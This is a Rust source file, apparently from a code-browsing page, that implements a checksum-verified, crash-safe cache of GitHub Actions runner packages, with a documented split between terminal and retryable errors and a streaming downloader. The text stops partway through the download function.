Skip to main content

runner_manager_agent/
package.rs

1// owner: e2-runner-package-cache
2//
3// `e1` owns `reconcile` and the crate root, `e3` owns `lifecycle`. Nothing in
4// this file edits either: the attempt vocabulary this module reasons about —
5// `RunnerAttempt`, `AttemptId`, `AttemptState::is_terminal` — is `b1`'s and is
6// consumed, never restated.
7
8//! The cached, checksum-verified GitHub runner package.
9//!
10//! Two failure modes drive this module, and every decision below is one of them
11//! being closed:
12//!
13//! * **A tampered package executes arbitrary code on the operator's machine.**
14//!   Download metadata comes from GitHub and nowhere else, the published
15//!   SHA-256 is verified *before* extraction, and an absent published checksum
16//!   fails closed rather than degrading into "skip the check"
17//!   (`07-security.md`, `05-infrastructure.md`).
18//! * **A stale package makes every job start failing for a reason nobody will
19//!   guess.** GitHub rejects runners more than 30 days behind the latest
20//!   release (`01-current-architecture.md`, edge case 7), so the published
21//!   version is re-checked on a bounded interval and a superseded cache entry
22//!   is refreshed before a cold start.
23//!
24//! # The shape of the cache
25//!
26//! Under [`AppPaths::state_dir`], which `05-infrastructure.md` names as the home
27//! of "the retained runner package cache":
28//!
29//! ```text
30//! state/
31//!   packages/
32//!     2.330.0/                     one immutable entry, never mutated after it lands
33//!       .runner-package.json       its manifest, written before the entry lands
34//!       run.sh, bin/, externals/   GitHub's archive, extracted
35//!     .staging/                    transient; a partial install is only ever here
36//!     .leases/                     <attempt-uuid>.lease, the prune guard's evidence
37//!   tool-cache/                    approved tool caches, retained beside the binaries
38//! runtime/                         per-attempt job workspaces — NOT under packages/
39//! ```
40//!
41//! **A cache entry is created by exactly one filesystem operation.** Extraction
42//! writes into `.staging/<uuid>/`, the manifest is written *inside* that
43//! staging directory, and the directory is then renamed to `packages/<version>/`.
44//! The rename is the single commit point: an entry that exists is an entry that
45//! is complete, and a crash at any earlier moment leaves nothing but staging
46//! litter. That is also what makes "a second install of the same version is a
47//! no-op" true rather than aspirational — the entry is found and returned before
48//! anything is fetched.
49//!
50//! # The seam `e3` consumes, stated deliberately
51//!
52//! `e3` creates each JIT runtime as "a copy or link from that cache plus a
53//! unique workspace" (`05-infrastructure.md`). Three contracts hold that seam
54//! together, and they are stated here because an unstated port contract becomes
55//! a defect in the consumer:
56//!
57//! 1. [`InstalledPackage::root`] is **read-only to the caller**. It is the
58//!    shared, immutable source that every runtime is copied or linked from.
59//!    Writing into it corrupts every future runtime, and nothing in this module
60//!    can detect it after the fact.
61//! 2. [`PackageCache::lease`] must be called for the version a runtime was
62//!    created from, and [`PackageCache::release`] when that runtime is removed.
63//!    **The prune guard is only as truthful as those calls**: a version with no
64//!    lease is a version this module believes nothing references. The guard is
65//!    fail-closed in the other direction — see [`PackageCache::prune`] — so a
66//!    lease that is never released costs disk, while a lease that is never taken
67//!    costs a running runner its binaries.
68//! 3. Job workspaces live under [`AppPaths::runtime_dir`] and never under the
69//!    package cache. [`PackageCache::lease`] **enforces** this rather than
70//!    documenting it: a lease whose attempt's runtime path resolves inside the
71//!    cache root is refused.
72//!
73//! # What is built here and not yet reachable in production
74//!
75//! Two mechanisms in this module are complete and tested but have no live
76//! caller, and both are easier to find written down here than inferred from an
77//! absence:
78//!
79//! * **[`PinnedDigests`] has no operator-facing surface.** It is the entire
80//!   remedy [`PackageError::ChecksumAbsent`] names, and today it can only be
81//!   supplied by [`PackageCache::with_pins`] from Rust. Until a configuration
82//!   or CLI path reaches it, an operator who hits that refusal has been given
83//!   an instruction they cannot carry out. Wiring it is a `g`/`f`-group
84//!   concern, not this module's.
85//! * **[`PackageError::VersionRejected`] cannot be produced through the real
86//!   adapter.** [`GatewayCatalog`] maps every `InventoryError` to the retryable
87//!   [`PackageError::CatalogUnavailable`], correctly — the downloads endpoint
88//!   has no version-rejection response. The rejection lands at *registration*,
89//!   which is `e3`'s path, and [`DownloadCatalog`] exists to carry it here when
90//!   `e3` reports it. So the no-retry behaviour is proven and nothing yet
91//!   supplies its input.
92
93use std::collections::BTreeMap;
94use std::fmt;
95use std::fs;
96use std::io::{self, Read};
97use std::path::{Component, Path, PathBuf};
98use std::sync::{Arc, Mutex};
99
100use runner_manager_domain::attempt::{AttemptState, FailureReason, RunnerAttempt};
101use runner_manager_domain::model::{Arch, AttemptId, Clock, Elapsed, Os, Timestamp};
102use runner_manager_github::rest::{RunnerDownload, RunnerDownloads};
103use runner_manager_platform::os::{self as host_os, UnsupportedHost};
104use runner_manager_platform::paths::AppPaths;
105use serde::{Deserialize, Serialize};
106use sha2::{Digest, Sha256};
107
108// ---------------------------------------------------------------------------
109// Layout constants
110// ---------------------------------------------------------------------------
111
112/// The cache root, under [`AppPaths::state_dir`].
113const PACKAGES_DIR: &str = "packages";
114/// Approved tool caches, retained beside the runner binaries and deliberately
115/// **not** inside [`PACKAGES_DIR`]: a version entry is immutable, and a tool
116/// cache is by definition written to.
117const TOOL_CACHE_DIR: &str = "tool-cache";
118/// Transient extraction area. Everything here is litter from an interrupted
119/// install and may be removed at any time.
120const STAGING_DIR: &str = ".staging";
121/// One file per attempt that holds a version.
122const LEASES_DIR: &str = ".leases";
123const LEASE_EXTENSION: &str = "lease";
124/// The manifest, written inside the staging directory before the entry lands.
125const MANIFEST_FILE: &str = ".runner-package.json";
126
127/// How far behind the latest release a cached package may be before it is
128/// refreshed. GitHub rejects runners past this and plans to block them at
129/// registration (`01-current-architecture.md`, edge case 7).
130pub const FRESHNESS_WINDOW_DAYS: i64 = 30;
131
132/// How often the published version is re-checked. "A bounded interval"
133/// (`05-infrastructure.md`); six hours keeps the check far cheaper than the
134/// demand poll while still catching a release the same day it ships.
135pub const CHECK_INTERVAL_HOURS: i64 = 6;
136
137/// How many times a *retryable* failure is retried before the install is
138/// abandoned. A terminal failure consumes none of this budget.
139pub const RETRY_BUDGET: u32 = 3;
140
141// ---------------------------------------------------------------------------
142// RunnerVersion
143// ---------------------------------------------------------------------------
144
145/// A runner package version, such as `2.330.0`.
146///
147/// # Why this is parsed rather than carried as a string
148///
149/// The version becomes a **directory name** under the cache root, and it is
150/// derived from a filename GitHub sends over the wire. A string taken on trust
151/// there is a path component taken on trust: `..`, `foo/bar`, `C:\x` and an
152/// empty segment are all things a hostile or merely broken response could
153/// supply. [`RunnerVersion::parse`] admits only two to four dot-separated runs
154/// of ASCII digits, which cannot spell any of them.
155///
156/// Ordering is numeric per component, so `2.9.0 < 2.10.0`. Nothing in this
157/// module makes a *safety* decision from that ordering — freshness is decided
158/// from install time, not from version order — but a deterministic order makes
159/// [`PackageCache::installed`] stable.
160#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
161#[serde(try_from = "String", into = "String")]
162pub struct RunnerVersion {
163    /// Numeric components, compared first so `2.10.0` sorts above `2.9.0`.
164    parts: Vec<u64>,
165    raw: String,
166}
167
168impl RunnerVersion {
169    /// The longest version string accepted. Generous for `MAJOR.MINOR.PATCH`
170    /// and still far short of anything that could exhaust a path.
171    const MAX_LEN: usize = 64;
172    const MIN_PARTS: usize = 2;
173    const MAX_PARTS: usize = 4;
174
175    /// # Errors
176    /// [`PackageError::UnrecognisedVersion`] when `raw` is not two to four
177    /// dot-separated runs of ASCII digits.
178    pub fn parse(raw: &str) -> Result<Self, PackageError> {
179        let unrecognised = || PackageError::UnrecognisedVersion {
180            raw: raw.to_string(),
181        };
182        if raw.is_empty() || raw.len() > Self::MAX_LEN {
183            return Err(unrecognised());
184        }
185        let mut parts = Vec::new();
186        for segment in raw.split('.') {
187            if segment.is_empty() || !segment.bytes().all(|b| b.is_ascii_digit()) {
188                return Err(unrecognised());
189            }
190            parts.push(segment.parse::<u64>().map_err(|_| unrecognised())?);
191        }
192        if parts.len() < Self::MIN_PARTS || parts.len() > Self::MAX_PARTS {
193            return Err(unrecognised());
194        }
195        Ok(Self {
196            parts,
197            raw: raw.to_string(),
198        })
199    }
200
201    /// The version embedded in a published filename such as
202    /// `actions-runner-win-x64-2.330.0.zip`.
203    ///
204    /// GitHub's runner-downloads response carries no version field — the only
205    /// version signal it publishes is inside the filename and the URL — so this
206    /// is where the cache's directory names come from.
207    ///
208    /// # Errors
209    /// [`PackageError::UnsupportedArchive`] when the extension is neither
210    /// `.zip` nor `.tar.gz`/`.tgz`, and [`PackageError::UnrecognisedVersion`]
211    /// when the trailing segment is not a version.
212    pub fn from_filename(filename: &str) -> Result<Self, PackageError> {
213        let (stem, _) = ArchiveKind::split(filename)?;
214        // `rsplit` always yields at least one item — the whole string when
215        // there is no `-` — so this cannot be `None`. `unwrap_or(stem)` says
216        // that, where the `ok_or_else` it replaced dressed an unreachable arm
217        // up as a handled error and invited a reader to look for the input that
218        // reaches it. If there is no `-`, the whole stem is the candidate and
219        // `parse` refuses it.
220        let last = stem.rsplit('-').next().unwrap_or(stem);
221        Self::parse(last)
222    }
223
224    #[must_use]
225    pub fn as_str(&self) -> &str {
226        &self.raw
227    }
228}
229
230impl fmt::Display for RunnerVersion {
231    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
232        f.write_str(&self.raw)
233    }
234}
235
236impl TryFrom<String> for RunnerVersion {
237    type Error = PackageError;
238
239    fn try_from(value: String) -> Result<Self, Self::Error> {
240        Self::parse(&value)
241    }
242}
243
244impl From<RunnerVersion> for String {
245    fn from(value: RunnerVersion) -> Self {
246        value.raw
247    }
248}
249
250// ---------------------------------------------------------------------------
251// Sha256Hex
252// ---------------------------------------------------------------------------
253
254/// A SHA-256 digest, normalised to 64 lowercase hex characters.
255///
256/// Parsed rather than compared as a raw string so that a malformed published
257/// value — the wrong length, a non-hex character, an `sha256:` prefix — is a
258/// *refusal* rather than a comparison that quietly never matches. A digest
259/// check that can never succeed and a digest check that can never fail are the
260/// same defect wearing different clothes.
261#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
262#[serde(try_from = "String", into = "String")]
263pub struct Sha256Hex(String);
264
265impl Sha256Hex {
266    const LEN: usize = 64;
267
268    /// # Errors
269    /// [`PackageError::MalformedDigest`] when `raw` is not 64 hex characters.
270    pub fn parse(raw: &str) -> Result<Self, PackageError> {
271        let trimmed = raw.trim();
272        if trimmed.len() != Self::LEN || !trimmed.bytes().all(|b| b.is_ascii_hexdigit()) {
273            return Err(PackageError::MalformedDigest {
274                raw: trimmed.to_string(),
275            });
276        }
277        Ok(Self(trimmed.to_ascii_lowercase()))
278    }
279
280    #[must_use]
281    pub fn as_str(&self) -> &str {
282        &self.0
283    }
284}
285
286impl fmt::Display for Sha256Hex {
287    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
288        f.write_str(&self.0)
289    }
290}
291
292impl TryFrom<String> for Sha256Hex {
293    type Error = PackageError;
294
295    fn try_from(value: String) -> Result<Self, Self::Error> {
296        Self::parse(&value)
297    }
298}
299
300impl From<Sha256Hex> for String {
301    fn from(value: Sha256Hex) -> Self {
302        value.0
303    }
304}
305
306/// Which unusable shape GitHub's optional `sha256_checksum` arrived in.
307///
308/// Three distinct facts about the response, one shared remedy. They are not
309/// collapsed into a boolean because the operator reading the refusal is
310/// troubleshooting GitHub's response, and "the field was missing", "the field
311/// was blank" and "the field was not a digest" send them to three different
312/// places.
313#[derive(Debug, Clone, Copy, PartialEq, Eq)]
314pub enum PublishedChecksum {
315    /// The field was not present at all.
316    Absent,
317    /// The field was present and blank.
318    Empty,
319    /// The field was present and was not 64 hexadecimal characters.
320    Malformed,
321}
322
323impl PublishedChecksum {
324    #[must_use]
325    pub const fn describe(self) -> &'static str {
326        match self {
327            Self::Absent => "no sha256_checksum",
328            Self::Empty => "an empty sha256_checksum",
329            Self::Malformed => "a malformed sha256_checksum",
330        }
331    }
332}
333
334impl fmt::Display for PublishedChecksum {
335    fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
336        f.write_str(self.describe())
337    }
338}
339
340/// Digests an already-downloaded file without holding it in memory.
341///
342/// The runner package is 150-300 MB; the whole reason `reqwest`'s `stream`
343/// feature is enabled for this crate is that neither the download nor this pass
344/// buffers it.
345fn sha256_file(path: &Path) -> Result<Sha256Hex, PackageError> {
346    let mut file = fs::File::open(path).map_err(|source| PackageError::Io {
347        what: "open the downloaded package for verification",
348        path: path.to_path_buf(),
349        source,
350    })?;
351    let mut hasher = Sha256::new();
352    let mut buffer = vec![0_u8; 128 * 1024];
353    loop {
354        let read = file.read(&mut buffer).map_err(|source| PackageError::Io {
355            what: "read the downloaded package for verification",
356            path: path.to_path_buf(),
357            source,
358        })?;
359        if read == 0 {
360            break;
361        }
362        hasher.update(&buffer[..read]);
363    }
364    Sha256Hex::parse(&hex::encode(hasher.finalize()))
365}
366
367// ---------------------------------------------------------------------------
368// Archive kind
369// ---------------------------------------------------------------------------
370
371/// The two shapes GitHub publishes the runner in.
372///
373/// **Derived from the filename, never from the host OS.** They agree in
374/// practice — `.zip` for Windows, `.tar.gz` elsewhere — but the filename is what
375/// actually arrived, and deriving the format from an assumption about the host
376/// is how a correct download gets fed to the wrong extractor. It also lets both
377/// extraction paths be exercised on all three CI legs.
378#[derive(Debug, Clone, Copy, PartialEq, Eq)]
379enum ArchiveKind {
380    Zip,
381    TarGz,
382}
383
384impl ArchiveKind {
385    /// Splits a published filename into its stem and its archive kind.
386    fn split(filename: &str) -> Result<(&str, Self), PackageError> {
387        let lower = filename.to_ascii_lowercase();
388        for (extension, kind) in [
389            (".tar.gz", Self::TarGz),
390            (".tgz", Self::TarGz),
391            (".zip", Self::Zip),
392        ] {
393            if lower.ends_with(extension) {
394                return Ok((&filename[..filename.len() - extension.len()], kind));
395            }
396        }
397        Err(PackageError::UnsupportedArchive {
398            filename: filename.to_string(),
399        })
400    }
401}
402
403// ---------------------------------------------------------------------------
404// Errors
405// ---------------------------------------------------------------------------
406
407/// Everything that can stop a package reaching the cache.
408///
409/// # Terminal versus retryable is not a style choice here
410///
411/// `03-control-flows.md` flow 2 fixes the split, and it is narrower than it
412/// looks: *"a JIT request, download checksum, process start, or runner exit
413/// before job acceptance is retried with bounded exponential backoff … A runner
414/// version rejection and an absent published checksum are terminal,
415/// operator-actionable conditions, not retryable errors."*
416///
417/// So a checksum **mismatch** is retryable — the usual cause is a truncated or
418/// corrupted transfer, and the next attempt gets clean bytes — while an
419/// **absent** checksum is terminal, because retrying cannot make GitHub publish
420/// one. Getting this backwards in either direction is a real outage: retrying a
421/// version rejection turns a fixable condition into a silent loop, and treating
422/// a mismatch as terminal fails a cold start on a dropped packet.
423#[derive(Debug, thiserror::Error)]
424pub enum PackageError {
425    /// This OS and architecture pair is not one the product documents. Refused
426    /// before any request is made, let alone any download.
427    #[error("{0}")]
428    UnsupportedHost(#[from] UnsupportedHost),
429
430    /// GitHub publishes no package for this host. **Never a reason to fall back
431    /// to a hardcoded URL** — that is the substitution `07-security.md` exists
432    /// to prevent.
433    #[error("GitHub publishes no runner package for {os}/{arch}")]
434    NoPackagePublished { os: Os, arch: Arch },
435
436    /// GitHub published no *usable* `sha256_checksum` and no operator-pinned
437    /// digest is configured. Terminal: the agent fails closed
438    /// (`05-infrastructure.md`).
439    ///
440    /// `published` says which of the three unusable shapes arrived. They are
441    /// kept apart because they are different facts about GitHub's response —
442    /// `c3` distinguishes absent from empty deliberately — and because an
443    /// operator reading this is entitled to the one that actually happened.
444    /// **All three carry the same remedy, and that is the point of the variant:
445    /// every unusable shape routes to the operator-pinned digest.** An earlier
446    /// version let a malformed value bypass the pin and then told the operator
447    /// to pin one, which was advice that could not work.
448    #[error(
449        "GitHub published {} for runner package {version} ({os}/{arch}), so it \
450         cannot be verified and will not be installed. Pin the digest you have \
451         independently confirmed for {version} and retry.",
452        published.describe()
453    )]
454    ChecksumAbsent {
455        version: RunnerVersion,
456        os: Os,
457        arch: Arch,
458        published: PublishedChecksum,
459    },
460
461    /// The bytes on disk are not the bytes GitHub published. The partial file
462    /// is removed before this is returned, and nothing is extracted.
463    #[error(
464        "runner package {version} does not match its published SHA-256 \
465         (published {expected}, downloaded {actual}); the partial download was \
466         discarded and nothing was extracted"
467    )]
468    ChecksumMismatch {
469        version: RunnerVersion,
470        expected: Sha256Hex,
471        actual: Sha256Hex,
472    },
473
474    /// A digest — published or pinned — that is not 64 hex characters.
475    #[error("`{raw}` is not a SHA-256 digest; a digest is 64 hexadecimal characters")]
476    MalformedDigest { raw: String },
477
478    /// GitHub refused this runner on version grounds. Terminal and
479    /// operator-actionable; see [`DownloadCatalog`] for who reports it.
480    #[error(
481        "GitHub rejected the runner version{}{}. Runners more than \
482         {FRESHNESS_WINDOW_DAYS} days behind the latest release are refused. \
483         Install the current package and start a new attempt; retrying this one \
484         cannot succeed.",
485        version.as_ref().map(|v| format!(" {v}")).unwrap_or_default(),
486        detail.as_ref().map(|d| format!(": {d}")).unwrap_or_default()
487    )]
488    VersionRejected {
489        version: Option<RunnerVersion>,
490        detail: Option<String>,
491    },
492
493    /// The download metadata could not be read. Retryable.
494    #[error("the runner download metadata could not be read: {detail}")]
495    CatalogUnavailable { detail: String },
496
497    /// The package bytes could not be fetched. Retryable.
498    #[error("the runner package could not be downloaded: {detail}")]
499    Download { detail: String },
500
501    /// A filename whose trailing segment is not a version.
502    #[error("`{raw}` is not a runner version")]
503    UnrecognisedVersion { raw: String },
504
505    /// A published filename that is neither a `.zip` nor a `.tar.gz`.
506    #[error("`{filename}` is not a runner package archive this agent can extract")]
507    UnsupportedArchive { filename: String },
508
509    /// An archive entry whose path escapes the directory being extracted into.
510    ///
511    /// Verification runs before extraction, so these bytes are the bytes GitHub
512    /// published and this should be unreachable. It is refused anyway: the cost
513    /// is a path comparison, and the thing it prevents is an archive writing
514    /// outside the cache root.
515    #[error("runner package entry `{entry}` escapes the directory it is extracted into")]
516    UnsafeArchiveEntry { entry: String },
517
518    /// The archive could not be read or unpacked.
519    #[error("the runner package archive could not be extracted: {detail}")]
520    Extract { detail: String },
521
522    /// A prune was refused because a live attempt still holds the version.
523    #[error(
524        "runner package {version} is still held by attempt {attempt}, which is \
525         `{state}` and not terminal; it will be prunable once that attempt \
526         concludes"
527    )]
528    VersionInUse {
529        version: RunnerVersion,
530        attempt: AttemptId,
531        /// `b1`'s type, rendered by `b1`'s `Display`. This module had its own
532        /// nine-arm `match` producing the same nine strings; a second rendering
533        /// of someone else's enum is a second thing to keep in step, and it
534        /// silently stops matching the moment a state is added.
535        state: AttemptState,
536    },
537
538    /// A prune was refused because a lease names an attempt the caller did not
539    /// report. See [`PackageCache::prune`] for why this fails closed.
540    #[error(
541        "runner package {version} is held by attempt {attempt}, which is not in \
542         the attempt set supplied; refusing to prune a version whose holder \
543         cannot be shown to be terminal. Release the lease explicitly if that \
544         attempt is known to be gone."
545    )]
546    VersionHeldByUnknownAttempt {
547        version: RunnerVersion,
548        attempt: AttemptId,
549    },
550
551    /// A lease file exists but cannot be understood, so what it holds is
552    /// unknown and no prune can be shown to be safe.
553    #[error(
554        "the runner package lease at `{}` cannot be read, so which version it \
555         holds is unknown; refusing to prune anything until it is resolved",
556        path.display()
557    )]
558    UnreadableLease { path: PathBuf },
559
560    /// A lease was refused because the attempt's workspace is inside the cache.
561    #[error(
562        "attempt {attempt} has its runtime at `{}`, which is inside the runner \
563         package cache. Job workspaces are disposable and the cache is \
564         immutable; a workspace here would be destroyed by a prune and would \
565         mutate an entry that every other runtime is copied from.",
566        path.display()
567    )]
568    WorkspaceInsideCache { attempt: AttemptId, path: PathBuf },
569
570    /// A lease or prune named a version that is not in the cache.
571    #[error("runner package {version} is not installed")]
572    NotInstalled { version: RunnerVersion },
573
574    #[error("cannot {what} at `{}`: {source}", path.display())]
575    Io {
576        what: &'static str,
577        path: PathBuf,
578        #[source]
579        source: io::Error,
580    },
581
582    /// Every retry was spent on retryable failures.
583    #[error("giving up after {attempts} attempts: {source}")]
584    Exhausted {
585        attempts: u32,
586        #[source]
587        source: Box<PackageError>,
588    },
589}
590
591impl PackageError {
592    /// Whether this condition is terminal and operator-actionable rather than
593    /// something a retry can clear.
594    ///
595    /// Read the type-level documentation before changing any arm: the split is
596    /// fixed by `03-control-flows.md`, not by taste.
597    #[must_use]
598    pub fn is_terminal(&self) -> bool {
599        match self {
600            // Retrying cannot make GitHub publish a checksum, support an
601            // undocumented platform, publish a package it does not publish,
602            // accept a rejected version, or turn a malformed value well-formed.
603            Self::UnsupportedHost(_)
604            | Self::NoPackagePublished { .. }
605            | Self::ChecksumAbsent { .. }
606            | Self::MalformedDigest { .. }
607            | Self::VersionRejected { .. }
608            | Self::UnrecognisedVersion { .. }
609            | Self::UnsupportedArchive { .. }
610            | Self::UnsafeArchiveEntry { .. }
611            | Self::VersionInUse { .. }
612            | Self::VersionHeldByUnknownAttempt { .. }
613            | Self::UnreadableLease { .. }
614            | Self::WorkspaceInsideCache { .. }
615            | Self::NotInstalled { .. } => true,
616            // A truncated transfer, a 5xx, a rate limit, a locked file: the next
617            // attempt can differ.
618            Self::ChecksumMismatch { .. }
619            | Self::CatalogUnavailable { .. }
620            | Self::Download { .. }
621            | Self::Extract { .. }
622            | Self::Io { .. } => false,
623            // The budget is spent; whatever it was spent on, this is the end.
624            Self::Exhausted { .. } => true,
625        }
626    }
627
628    /// The domain reason to journal, when this failure concludes an attempt.
629    ///
630    /// `b1` owns [`FailureReason`] and already names both of this module's
631    /// terminal security conditions. Nothing here invents a second vocabulary
632    /// for them.
633    #[must_use]
634    pub fn failure_reason(&self) -> Option<FailureReason> {
635        match self {
636            Self::ChecksumAbsent { .. }
637            | Self::ChecksumMismatch { .. }
638            | Self::MalformedDigest { .. }
639            | Self::UnsafeArchiveEntry { .. } => Some(FailureReason::RunnerPackageUnverified),
640            Self::VersionRejected { .. } => Some(FailureReason::RunnerVersionRejected),
641            Self::Exhausted { source, .. } => source.failure_reason(),
642            _ => None,
643        }
644    }
645
646    /// What the operator has to do. Every terminal condition has one; a
647    /// retryable one has none, because the answer is "wait".
648    #[must_use]
649    pub fn operator_action(&self) -> Option<&'static str> {
650        match self {
651            Self::UnsupportedHost(_) => Some(
652                "run the agent on a documented operating system and architecture, \
653                 or add this host to the supported matrix",
654            ),
655            Self::NoPackagePublished { .. } => Some(
656                "check that GitHub publishes a runner package for this host's \
657                 operating system and architecture",
658            ),
659            Self::ChecksumAbsent { .. } => Some(
660                "confirm the package digest independently and pin it, or wait \
661                 for GitHub to publish a checksum; the package will not be \
662                 installed unverified",
663            ),
664            Self::MalformedDigest { .. } => {
665                Some("correct the pinned digest to 64 hexadecimal characters")
666            }
667            Self::VersionRejected { .. } => Some(
668                "install the current runner package and start a new attempt; \
669                 this one cannot be retried into success",
670            ),
671            Self::UnsupportedArchive { .. } | Self::UnrecognisedVersion { .. } => Some(
672                "GitHub's runner download metadata is not in a shape this agent \
673                 recognises; report it rather than working around it",
674            ),
675            Self::UnsafeArchiveEntry { .. } => Some(
676                "the runner package archive contains an entry that writes \
677                 outside the cache; do not install it and report it",
678            ),
679            Self::VersionInUse { .. } => {
680                Some("wait for the attempt holding this version to conclude")
681            }
682            Self::VersionHeldByUnknownAttempt { .. } => Some(
683                "release the lease for the attempt named above if it is known to \
684                 be gone, then prune again",
685            ),
686            Self::UnreadableLease { .. } => Some(
687                "inspect the lease file named above; delete it once the attempt \
688                 it belonged to is known to be gone, then prune again",
689            ),
690            Self::WorkspaceInsideCache { .. } => {
691                Some("place job workspaces under the runtime directory")
692            }
693            Self::NotInstalled { .. } => Some("install the version before referencing it"),
694            Self::Exhausted { source, .. } => source.operator_action(),
695            Self::ChecksumMismatch { .. }
696            | Self::CatalogUnavailable { .. }
697            | Self::Download { .. }
698            | Self::Extract { .. }
699            | Self::Io { .. } => None,
700        }
701    }
702}
703
704// ---------------------------------------------------------------------------
705// Ports
706// ---------------------------------------------------------------------------
707
708/// Where the published runner-download metadata comes from.
709///
710/// Deliberately narrower than `c3`'s `InventoryGateway`: this module needs one
711/// answer, and a port with one method is a port a test can substitute without
712/// standing up a whole gateway. [`GatewayCatalog`] adapts the real one.
713///
714/// # Reporting a version rejection through this port
715///
716/// GitHub's runner-downloads endpoint does not itself reject a version — the
717/// rejection lands at *registration*, which is `e3`'s path. This port carries
718/// [`PackageError::VersionRejected`] anyway so that a rejection observed
719/// anywhere in the agent reaches the one place that can act on it: the cache,
720/// whose fix is a newer package.
721///
722/// **An implementation that answers `VersionRejected` is promising that
723/// retrying is pointless.** [`PackageCache`] honours that literally — it makes
724/// no further attempt and spends none of its retry budget — so an
725/// implementation that returns it for a transient condition converts a blip
726/// into a stopped host. When in doubt, answer
727/// [`PackageError::CatalogUnavailable`], which is retryable.
728#[async_trait::async_trait]
729pub trait DownloadCatalog: fmt::Debug + Send + Sync {
730    /// The runner packages GitHub currently publishes.
731    ///
732    /// # Errors
733    /// [`PackageError::CatalogUnavailable`] for anything a retry could clear,
734    /// [`PackageError::VersionRejected`] for a version refusal.
735    async fn published(&self) -> Result<RunnerDownloads, PackageError>;
736}
737
738/// Streams a published package onto disk.
739///
740/// # Contract
741///
742/// * The bytes are written to `destination` and nowhere else.
743/// * **The implementation does not remove `destination` on failure.** A partial
744///   file is the caller's to discard, and [`PackageCache`] discards it — see
745///   [`PackageCache::prune`]'s neighbour, `download_and_verify`. Having the
746///   fetcher clean up would hide a partial download from the very test that
747///   proves it is removed.
748/// * Nothing is verified here. Verification is the cache's, and it happens
749///   before extraction.
750#[async_trait::async_trait]
751pub trait PackageFetcher: fmt::Debug + Send + Sync {
752    /// Stream `url` into `destination`, answering how many bytes were written.
753    ///
754    /// # Errors
755    /// [`PackageError::Download`] for a transport or status failure,
756    /// [`PackageError::Io`] for a write failure.
757    async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError>;
758}
759
760/// How long to wait between retries of a retryable failure.
761#[async_trait::async_trait]
762pub trait Backoff: fmt::Debug + Send + Sync {
763    /// Called after attempt `attempt` (1-based) failed retryably.
764    async fn wait(&self, attempt: u32);
765}
766
767/// Bounded exponential backoff, as `03-control-flows.md` requires.
768#[derive(Debug, Clone, Copy)]
769pub struct ExponentialBackoff {
770    base: std::time::Duration,
771    cap: std::time::Duration,
772}
773
774impl ExponentialBackoff {
775    #[must_use]
776    pub const fn new(base: std::time::Duration, cap: std::time::Duration) -> Self {
777        Self { base, cap }
778    }
779}
780
781impl Default for ExponentialBackoff {
782    fn default() -> Self {
783        Self::new(
784            std::time::Duration::from_secs(2),
785            std::time::Duration::from_secs(30),
786        )
787    }
788}
789
790#[async_trait::async_trait]
791impl Backoff for ExponentialBackoff {
792    async fn wait(&self, attempt: u32) {
793        let factor = 1_u32 << attempt.min(16);
794        let delay = self.base.saturating_mul(factor).min(self.cap);
795        tokio::time::sleep(delay).await;
796    }
797}
798
799/// No delay at all. For tests, and for a caller that supplies its own pacing.
800#[derive(Debug, Clone, Copy, Default)]
801pub struct NoBackoff;
802
803#[async_trait::async_trait]
804impl Backoff for NoBackoff {
805    async fn wait(&self, _attempt: u32) {}
806}
807
808// ---------------------------------------------------------------------------
809// Production adapters
810// ---------------------------------------------------------------------------
811
812/// Adapts `c3`'s `InventoryGateway` to [`DownloadCatalog`].
813///
814/// Every `InventoryError` maps to [`PackageError::CatalogUnavailable`], which
815/// is retryable, because the downloads endpoint has no version-rejection
816/// response: a rate limit, a cancellation and a transport failure are all
817/// conditions a later attempt can clear.
818#[derive(Debug)]
819pub struct GatewayCatalog<G> {
820    gateway: G,
821    target: runner_manager_domain::model::ScaleTarget,
822}
823
824impl<G> GatewayCatalog<G> {
825    #[must_use]
826    pub const fn new(gateway: G, target: runner_manager_domain::model::ScaleTarget) -> Self {
827        Self { gateway, target }
828    }
829}
830
831#[async_trait::async_trait]
832impl<G> DownloadCatalog for GatewayCatalog<G>
833where
834    G: runner_manager_github::rest::InventoryGateway,
835{
836    async fn published(&self) -> Result<RunnerDownloads, PackageError> {
837        let cancel = runner_manager_github::rest::CancelToken::new();
838        self.gateway
839            .runner_downloads(&self.target, &cancel)
840            .await
841            .map_err(|error| PackageError::CatalogUnavailable {
842                detail: error.to_string(),
843            })
844    }
845}
846
847/// Streams the package with `reqwest`, one chunk at a time.
848///
849/// The `stream` feature exists in this workspace for exactly this: the package
850/// is 150-300 MB, and buffering it in memory on a home host is not an option —
851/// nor would it leave a partial file on disk for the mismatch path to remove.
852#[derive(Debug, Clone)]
853pub struct HttpFetcher {
854    client: reqwest::Client,
855}
856
857impl HttpFetcher {
858    #[must_use]
859    pub fn new(client: reqwest::Client) -> Self {
860        Self { client }
861    }
862}
863
864impl Default for HttpFetcher {
865    fn default() -> Self {
866        Self::new(reqwest::Client::new())
867    }
868}
869
870#[async_trait::async_trait]
871impl PackageFetcher for HttpFetcher {
872    async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError> {
873        use futures::StreamExt as _;
874        use tokio::io::AsyncWriteExt as _;
875
876        let response = self
877            .client
878            .get(url)
879            .send()
880            .await
881            .and_then(reqwest::Response::error_for_status)
882            .map_err(|error| PackageError::Download {
883                detail: error.to_string(),
884            })?;
885
886        let mut file = tokio::fs::File::create(destination)
887            .await
888            .map_err(|source| PackageError::Io {
889                what: "create the package download file",
890                path: destination.to_path_buf(),
891                source,
892            })?;
893
894        let mut stream = response.bytes_stream();
895        let mut written = 0_u64;
896        while let Some(chunk) = stream.next().await {
897            let chunk = chunk.map_err(|error| PackageError::Download {
898                detail: error.to_string(),
899            })?;
900            written += chunk.len() as u64;
901            file.write_all(&chunk)
902                .await
903                .map_err(|source| PackageError::Io {
904                    what: "write the package download file",
905                    path: destination.to_path_buf(),
906                    source,
907                })?;
908        }
909        file.flush().await.map_err(|source| PackageError::Io {
910            what: "flush the package download file",
911            path: destination.to_path_buf(),
912            source,
913        })?;
914        file.sync_all().await.map_err(|source| PackageError::Io {
915            what: "sync the package download file",
